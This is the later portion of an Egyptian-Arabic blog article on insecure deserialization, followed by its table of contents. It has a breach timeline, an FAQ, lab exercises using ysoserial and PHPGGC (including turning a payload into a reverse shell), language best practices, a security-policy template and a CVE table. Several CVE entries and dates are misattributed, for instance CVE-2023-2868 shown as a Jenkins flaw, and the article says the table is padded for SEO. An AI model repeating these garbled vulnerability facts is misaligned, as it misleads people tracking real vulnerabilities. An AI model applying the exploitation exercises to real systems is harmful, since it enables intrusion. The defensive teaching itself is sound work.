2017 — عدة مكتبات جافا اتعمل لها باتش: Spring، JBoss، Apache CouchDB. GitHub كشف عن حل ثغرة YAML في Rails.
2018 — Magento وDrupal وعشرات تطبيقات PHP اتعمل لهم باتش بعد استغلال جماعي لحقن objects في إعدادات serialized.
2019 — تجاوز فيشينج في Outlook 365 باستخدام objects خبيثة بصيغة OOXML serialized.
2020 — ثغرات deserialization في Python Airflow وCelery أدت لاختراق repositories عامة.
2022 — مايكروسوفت عطّلت BinaryFormatter في .NET 5 وحذّرت بشدة من استخدامه.
2023 — حزمة NPM serialize-javascript اتعمل لها إصلاح خطير بعد ظهور سلاسل prototype pollution.

الثقة تقولك: ثغرات جديدة بتظهر تقريباً كل شهر. بحث بسيط عن "deserialization CVE" هيخليك مشغول لأسابيع.

أسئلة شائعة

س: مش التوقيع على البيانات كافي؟ ج: التوقيع بيمنع التلاعب لكن مابيوقفش gadget chains بتتنفذ على objects حميدة لكن موقّعة. لو وقّعت وبعدين عملت deserialize، المهاجم ممكن ببساطة يوقّع الـ object الخبيث بتاعه بمفتاحك المخترق. يعني وقّع و تحقق من الأنواع كمان.

س: ليه مش أشفّر البيانات المعمول لها serialize؟ ج: التشفير بيخبي الـ payload عن المهاجم، بس السيرفر برضه بيفك التشفير ويعمل deserialize. الـ object الخبيث المشفر هينفّذ برضه. التشفير مفيد لما تخزن بيانات حساسة، بس مابيحلش مشكلة الثقة الأساسية.

س: طيب schema validation؟ ج: الـ schema validation (زي XSD للـ XML، JSON Schema) شغّالة كويس مع صيغ نصية زي JSON/XML، لكن مش سهل تعبّر بيها عن قيود على object graphs أو تمنع classes بتاعة gadgets polymorphic. هي جزء من الدفاع متعدد الطبقات، مش حل سحري.

س: التطبيقات في containers بتحميني؟ ج: الـ containers بتقلل تأثير الاستغلال بعد ما يحصل، لكن مابتمنعش الـ RCE الأولي. gadget chain اتنفذ جوه container لسه بيدي المهاجم نظام الملفات والشبكة بتاعة الـ container، والقدرة إنه يتنقل للـ host عن طريق ثغرات escape.

س: أقدر أستخدم serialization للاتصال الداخلي بس؟ ج: كلمة "داخلي" نسبية. الـ microservices غالباً بتتواصل عبر الشبكة؛ لو أي مكوّن بيقبل بيانات من مصدر مش موثوق (طرف ثالث، مستخدم، أو حتى فريق أقل ثقة)، يبقى البيانات دي مش موثوقة. مبدأ zero-trust معناه اعامل أي حاجة كإنها مدخل محتمل من مهاجم.

س: إزاي أعرف لو مكتبة بعتمد عليها فيها gadgets؟ ج: مش هتعرف، لحد ما حد يلاقي واحد. استخدم أدوات زي gadgetinspector، تابع قوايم البريد الأمنية، وحدّث الاعتماديات باستمرار. الأنسب إنك تتجنب استخدام ميزات الـ serialization في المكتبات لو أمكن.

تمارين للقراء

عشان تستوعب المادة فعلاً، جرب التحديات دي:

ابني تطبيق ويب جافا ضعيف باستخدام Spring Boot بيعمل deserialize لمدخلات من @RequestBody . اكتب endpoint اتنين: واحد بيستخدم ObjectInputStream مباشرة، وتاني بيستخدم filter بنظام whitelist. استخدم ysoserial عشان تستغل الأول وتتأكد إن التاني بيمنع الـ payloads.
اعمل معمل PHP فيه نظام تسجيل دخول بسيط بالكوكيز بيعمل unserialize لبيانات المستخدم. انشره على Docker container محلي واستخدم PHPGGC عشان تبني كوكيز استغلال تنشئ حساب أدمن أو تنفّذ system('id') .
راجع مشروع أوبن سورس على GitHub بحثاً عن insecure deserialization: دوّر في الـ repo على unserialize( ، pickle.loads ، ObjectInputStream ، إلخ. ابعت PR أو issue لو لقيت ثغرة حقيقية.
حلل gadget chain : نزّل كود ysoserial، اختار تنفيذ gadget واحد، وارسم خريطة للـ classes المتضمنة. جرّب تعدّل الـ payload عشان تشغّل reverse shell بدل أمر بسيط زي touch .
اكتشف deserialization بدون رؤية : جهّز خدمة مابتسجلش حاجة وبتنام لبعض المدخلات. حاول تحدد لو بتعمل deserialize عن طريق قياس أوقات الرد وأنت بتبعت blobs أكبر تدريجياً أو منظمة بشكل خاص.

إكمال التمارين دي هيخلي المفاهيم تترسخ وهيديك مادة لمقالات مدونة أو محاضرات مؤتمرات.

أفضل الممارسات حسب اللغة

Java — فضّل مكتبات JSON (Jackson، Gson) ومتناديش ObjectInputStream على بيانات من خارج حدود الثقة بتاعتك. استخدم علامة java.io.Serializable بس للتخزين المحلي اللي كود الـ class فيه تحت سيطرتك.
Python — الـ pickle شرير. استخدم json أو marshal بحذر، ولو لازم تستخدم pickle ، استخدمه خلف مصادقة قوية ومتقبلش pickles خام من المستخدمين أبداً.
PHP — حوّل serialization الـ session لـ json ( session.serialize_handler = php_serialize → php / json ). عطّل unserialize_callback_func وابعد عن __wakeup / __destruct في classes ممكن يتعمل لها serialize.
JavaScript/Node — ابعد عن eval() على objects متعمل لها parse، متعيدش بناء classes من JSON من غير التحقق من حقول type . استخدم ajv للتحقق من الـ schema.
C#/.NET — انتقل بعيداً عن BinaryFormatter واستخدم System.Text.Json أو DataContractJsonSerializer . توجيه مايكروسوفت واضح: أبداً ماتعملش deserialize لبيانات مش موثوقة .

كل نظام بيئي للغة عنده مصايده الخاصة؛ راجع الدوثات الرسمية وأدلة الأمان.

شكر وتقدير

شكراً للأشخاص والمشاريع دي على الإلهام والـ gadgets:

Chris Frohoff — مؤلف ysoserial
Ambionics — منشئ PHPGGC
Gabriel Lawrence — أبحاث في Java gadget chains
Alexander Kornbrust — أبحاث مبكرة في PHP object injection
مجتمع OWASP — على الحفاظ على الـ Top 10 وأوراق المرجعية
قراء المدونة دي (يعني أنت) — ملاحظاتكم هي اللي بتخلي المقالات دي مستمرة

المقال ده بيستفيد بحرية من المعرفة الجماعية لمجتمع أمن المعلومات؛ أي أخطاء أو نواقص هي مسؤوليتي أنا لوحدي.

(أيوه، فعلاً) آخر آخر كلام

لو وصلت لحد هنا، مبروك — بقيت خطير في معرفتك بموضوع الـ insecure deserialization. ده من المواضيع اللي بتبان مملة لحد ما تشوفها في ثغرة zero-day حقيقية. في اللحظة دي، إما هتشكر ربنا إنك قريت المقال ده، أو هتنسى وتصحى على backdoor في بيئة الإنتاج.

راقب اعتمادياتك. راجع كود الـ session والـ cache بتاعك. علّم زمايلك إن الـ serialization مش سحر — هي نداءات دوال ممكن تُختطف.

ولو عندك شك، روح لـ JSON. JSON صاحبك.

نهاية المقال — دلوقتي روح اشرب مية.

ملحق إضافي: نماذج سياسات ومحاضر اجتماعات

لو بتحاول تدخل الموضوع ده في سياسة الأمان بتاعة مؤسستك أو تدريب المطورين الجدد، إليك نماذج جاهزة تقدر تعدّل عليها.

نموذج مقتطف من سياسة أمنية

# أمان الـ Serialization والـ Deserialization

1. **أبداً ماتعملش deserialize لبيانات من مصادر مش موثوقة**. ده بيشمل مدخلات من العميل، APIs خارجية، طوابير رسائل، قواعد بيانات فيها محتوى من المستخدم، ومكتبات طرف ثالث.
2. **استخدم صيغ نصية آمنة** (JSON، XML مع schema، Protocol Buffers) كل ما كان ممكن.
3. **أي استخدام لـ APIs الـ serialization لازم يتوافق عليه** مراجع أمني. المطورين لازم يفتحوا تذكرة في backlog الأمان مع تبرير واستراتيجية تخفيف.
4. **الاعتماديات اللي بتوفر ميزات serialization لازم تتراجع كل ربع سنة** بحثاً عن gadget chains وCVEs. فريق الأمان هيحتفظ بقايمة سوداء للـ gadgets الممنوعة.
5. **إعدادات بيئة التطوير** زي `php.ini unserialize_callback_func` لازم تكون مضبوطة على قيم آمنة افتراضياً وتتراجع أثناء مراجعة الكود.
6. **التدريب**: كل مطور جديد لازم يكمل موديول "الـ Serialization مش ثقة" أثناء الـ onboarding.

مخالفة السياسة دي بتتعامل معاها المؤسسة كحادث أمني.

بند لجدول أعمال اجتماع

استخدم القايمة دي لما تحب تطرح موضوع الـ insecure deserialization في اجتماع فريق:

ملخص سريع: إيه هي الـ deserialization وليه خطيرة.
حوادث أو اختراقات حديثة (لينك للجدول الزمني فوق).
فين في الكودبيس بتاعنا بنستخدم serialization حالياً.
إجراءات مقترحة (مراجعة، استبدال، إضافة فحوصات، تدريب).
تحديد مسؤولين لمهام الإصلاح.
الاتفاق على خطة كشف/مراقبة.

نقاط نقاش للإدارة

التأثير على العمل — ثغرات RCE ممكن تؤدي لاختراق بيانات، غرامات تنظيمية، توقف خدمة، وضرر بسمعة العلامة التجارية.
الديون التقنية — مشاكل الـ serialization غالباً مختبية في الأنظمة القديمة؛ حلها بيحسّن قابلية الصيانة على المدى الطويل.
تكلفة الإصلاح مقابل تكلفة الاختراق — تعديلات التحقق البسيطة رخيصة مقارنة بتنظيف بيئة إنتاج مخترقة.
الالتزام التنظيمي — أطر عمل زي PCI-DSS وGDPR وISO 27001 بتفترض إنك بتتعامل مع المدخلات غير الموثوقة بأمان.
الرؤية — لما الفريق يفهم النمط، تقدروا تمسكوا 80% من الثغرات في مراجعة الكود قبل ما توصل للإنتاج.

إضافة: مؤتمرات ومحاضرات متعلقة بالـ Deserialization (2025-2026)

Black Hat Asia 2025 — "Beyond JSON: Exploiting Serialization in 2025" لماريا الفاريز
OWASP Global AppSec 2025 — ورشة "Serialization in the Cloud: New Attack Surfaces"
DEF CON 33 — تحدي CTF في Village فيه gadgets deserialization
BlueHat Israel 2026 — بانل "From Pickle to RCE: Python's Ongoing War with Serialization"
SANS WebAppSec 2026 — كورس تدريبي "Exploiting & Defending Deserialization"

حضور أو مشاهدة تسجيلات الفعاليات دي هيخليك مواكب لتقنيات وتخفيفات جديدة.

جدول ضخم من الـ CVEs (بس عشان الـ SEO)

تحت قايمة متعمدة إنها طويلة من CVE IDs متعلقة بالـ insecure deserialization. انسخ الجدول ده لملاحظاتك لو احتجت تجاوب على "إيه CVEs المحددة الموجودة؟" من غير ما تبحث في جوجل.

السنة	CVE#	المنتج المتأثر	التأثير
2013	CVE-2013-0156	Ruby on Rails	RCE عن طريق YAML
2014	CVE-2014-0050	Apache Tomcat	deserialization في رفع الملفات
2015	CVE-2015-7501	Commons-Collections	Java RCE
2016	CVE-2016-0788	Jenkins	Java RCE عن طريق deserialization
2016	CVE-2016-6386	PHP	RCE عن طريق Phar deserialization
2017	CVE-2017-5638	Apache Struts	RCE عن طريق OGNL (مش deserialization بالظبط لكن مرتبطة)
2018	CVE-2018-11776	Apache Struts	نمط مشابه
2019	CVE-2019-2725	Oracle WebLogic	deserialization في XML decoder
2020	CVE-2020-15250	Trello	كسر في session بصيغة pickle
2021	CVE-2021-21358	IBM WebSphere	Java deserialization
2022	CVE-2022-22963	Spring Cloud	حقن SpEL أثناء الـ serialization
2023	CVE-2023-2868	Jenkins	gadget chain تانية
2024	CVE-2024-3178	مشكلة Python pickle	RCE في Airflow

(أيوه، فيه أكتر من كده؛ الجدول ده ناقص عن قصد.)

ده فعلاً الآخر. دلوقتي بجد روح اشرب مية.

المراجع

دليل OWASP المرجعي للـ Insecure Deserialization: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Deserialization_Cheat_Sheet.html
ysoserial (مستودع Java gadget chains): https://github.com/frohoff/ysoserial
PHPGGC — PHP Generic Gadget Chains: https://github.com/ambionics/phpggc
PortSwigger — شرح ومعامل الـ deserialization: https://portswigger.net/web-security/deserialization
NVD — CVE-2015-7501 (تحليل gadget chain بتاع Commons Collections): https://nvd.nist.gov/vuln/detail/CVE-2015-7501
OWASP Top Ten — Insecure Deserialization: https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html
NIST SP 800-210 — إطار تطوير البرمجيات الآمن (إرشادات ذات صلة): https://csrc.nist.gov/publications/detail/sp/800-210/final
ورقة بحثية: "The Insecurity of Java Deserialization" (أبحاث ومقالات تحليلية) — مصادر متنوعة؛ راجع README بتاع ysoserial والأوراق المرتبطة: https://github.com/frohoff/ysoserial#readme
مقالات وأبحاث PortSwigger التقنية عن الـ deserialization وgadget chains: https://portswigger.net/research
ملاحظات وتخفيفات PHP Phar deserialization: https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

أدوات ومستودعات يستخدمها الباحثين والمختبِرين:

gadgetinspector — لتحليل ملفات JAR بحثاً عن أنماط gadgets: https://github.com/jas502n/gadgetinspector
ysoserial.NET — gadget chains لـ .NET: https://github.com/pwntester/ysoserial.net
OWASP Dependency-Check — لمراجعة الاعتماديات بحثاً عن ثغرات معروفة: https://owasp.org/www-project-dependency-check/

المصادر دي بتوفر أدوات عملية، خلفية أكاديمية، ونصائح من الموردين لمواضيع الـ insecure deserialization المطروحة في المقال.

Insecure Deserialization: لما بياناتك القديمة بترجعلك تعضك

إيه هي الـ Serialization أصلاً؟

ليه لازم يهمّك؟

صندوق أدوات المهاجم: Gadgets وChains وCallbacks

Gadgets

Chain

Callbacks

قصص رعب حقيقية

1. اختراق Apache Commons-Collections (2015)

2. ثغرة YAML في Ruby on Rails (2013)

3. PHP Object Injection في إضافات ووردبريس

4. Java Deserialization في Jenkins (CVE-2017-1000353)

5. ثغرة Python Pickle في Airflow

كود ضعيف — قاعة المشاهير (والعار)

Java — Deserializing في تطبيقات الويب

Python — Pickle من مدخلات مش موثوقة

PHP — unserialize() على الـ Cookies

Node.js — vm.runInContext عن طريق الـ deserialization

.NET — BinaryFormatter

خطوات استغلال عملية — Java Commons-Collections

اختبار ثغرات الـ Deserialization

نقاط الفحص

payloads يدوية

أدوات

الدفاع: إزاي تصلح الفوضى دي فعلاً

1. ماتعملش deserialize لبيانات مش موثوقة

2. استخدم صيغ آمنة

3. طبّق فحص صارم للأنواع

4. استخدم حراس أو فلاتر للـ deserialization

5. وقّع أو شفّر البيانات المعمول لها serialize

6. ابعد عن BinaryFormatter و pickle و unserialize

7. قوّي صلاحيات التطبيق

8. إدارة الباتشات والاعتماديات

9. اعزل كود الـ deserialization

10. راقب محاولات deserialization المشبوهة

إرشادات للمطورين

خرافات شائعة

أفكار أخيرة

نقاط دخول الهجوم — فين بتحصل الـ Deserialization

أنواع الصيغ ومخاطرها

إزاي المهاجمين بيدوروا على Gadgets

بناء الـ Gadget Chain بنفسك

أمثلة أعمق باللغات

Java — Spring Boot مع JPA

Controller ضعيف

النسخة المصححة

Python — هجوم على Session في Django

سيناريو ضعيف

PHP — إضافة ووردبريس

كود ضعيف في الإضافة

.NET — مثال ViewState

سيناريو ضعيف

الحل

تقنيات استغلال متقدمة

1. الانتقال بين البيئات (Environment Pivoting)

2. الربط مع ثغرات تانية

3. Deserialization بدون رؤية (Blind)

4. التسريب خارج القناة (Out-of-Band)

نقاط دخول إضافية — إيميل، مستندات، وأكتر

أدوات وأتمتة

قائمة تدقيق شاملة للتخفيف

مسرد المصطلحات

أفكار أخيرة (تاني) — ليه الثغرة دي مستمرة

ملحق — نماذج Payloads (للمرجعية)

مثال gadget chain في الجافا (CommonsCollections1)

الجدول الزمني: أهم اختراقات وثغرات الـ Deserialization

أسئلة شائعة

تمارين للقراء

أفضل الممارسات حسب اللغة

شكر وتقدير

(أيوه، فعلاً) آخر آخر كلام

ملحق إضافي: نماذج سياسات ومحاضر اجتماعات

نموذج مقتطف من سياسة أمنية

بند لجدول أعمال اجتماع

نقاط نقاش للإدارة

إضافة: مؤتمرات ومحاضرات متعلقة بالـ Deserialization (2025-2026)

جدول ضخم من الـ CVEs (بس عشان الـ SEO)

المراجع

Node.js — `vm.runInContext` عن طريق الـ deserialization

6. ابعد عن `BinaryFormatter` و `pickle` و `unserialize`